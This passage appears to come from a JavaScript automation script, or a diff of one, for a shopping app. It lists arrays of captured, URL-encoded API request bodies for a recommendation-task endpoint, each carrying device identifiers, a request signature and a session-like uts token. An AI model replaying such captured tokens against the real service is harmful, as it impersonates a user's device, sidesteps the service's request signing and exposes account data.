`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240814080%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=cf060e827388757075639b488e10a271&st=1608135837068&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239281739%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=265def4ee8405300076ebecb8bc16244&st=1608135850992&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239326056%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=0c06232d2d28875540ba2be7e3cf0248&st=1608135864617&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239966731%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a57bc6809cb01c4bf0807c15be141100&st=1608135879159&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228925366%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7cfec28169bec339ca5d58083bff413e&st=1608135892590&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241141664%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1268ce3aa86c9fd1ceb3dab244801be1&st=1608135922596&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239879879%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=727339ecac9c040a6a8020b4462ed085&st=1608135944029&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240921105%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=dad6edd5a8f5352039637e55b853c58b&st=1608135958263&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239913667%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=263a98386f5a2ce3317727d5cd35ae31&st=1608135972412&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228195657%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=bca8c830cb94089c31fa4039596d49e8&st=1608135986945&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232232068%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=40a4ee9d60a14b3fcba4586502f0940b&st=1608136001520&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22231078213%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=83672faa82ff55d2e01a86551c53bf57&st=1608136015469&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228889429%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1d5f374fe483ee83e8b10a4c213c3e4f&st=1608136032181&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239891037%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=98bc0ee5edf5790cb968ac5705939a23&st=1608136046783&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239349437%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a0851d4dd20ea28e463b38c2604220c5&st=1608135079843&sv=120&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJbL8Z8Ji5qW2Orjpl0%2BzyRPbn4M%2BsWaSKGP0oBktuYYM5pyBaI0RqkeXBgu6TJZdGHo2xvPne18Dzkk1A7m%2BLqBuD2mrzLZjK%2BrWdDdNBD9pQPajs0rQAp%2Bu4eLnMSDTc7xxKGmxZ6YlvLbYtQu1%2B/z4woT25IKqETrcboP4nZzsjKlRbBnlsrQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=unknown` -] -let doBody = [ - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240304968%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a33e35fe4dbaebc0bb6cf31acf696624&st=1608135463915&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232107521%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a3133bb0bdd798b3264b94fbe25fe39f&st=1608135478529&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239958722%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=01e35c947f923e9818180e6e7aa7767f&st=1608135494151&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22236677182%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=8fe3ce466b10be78b721560d8ae37a0c&st=1608135507710&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238431608%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=76dbae0f7044496b445996cce4625462&st=1608135527407&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241148628%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=77a5ee97b33f4a3278899e68136ece47&st=1608135541366&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - 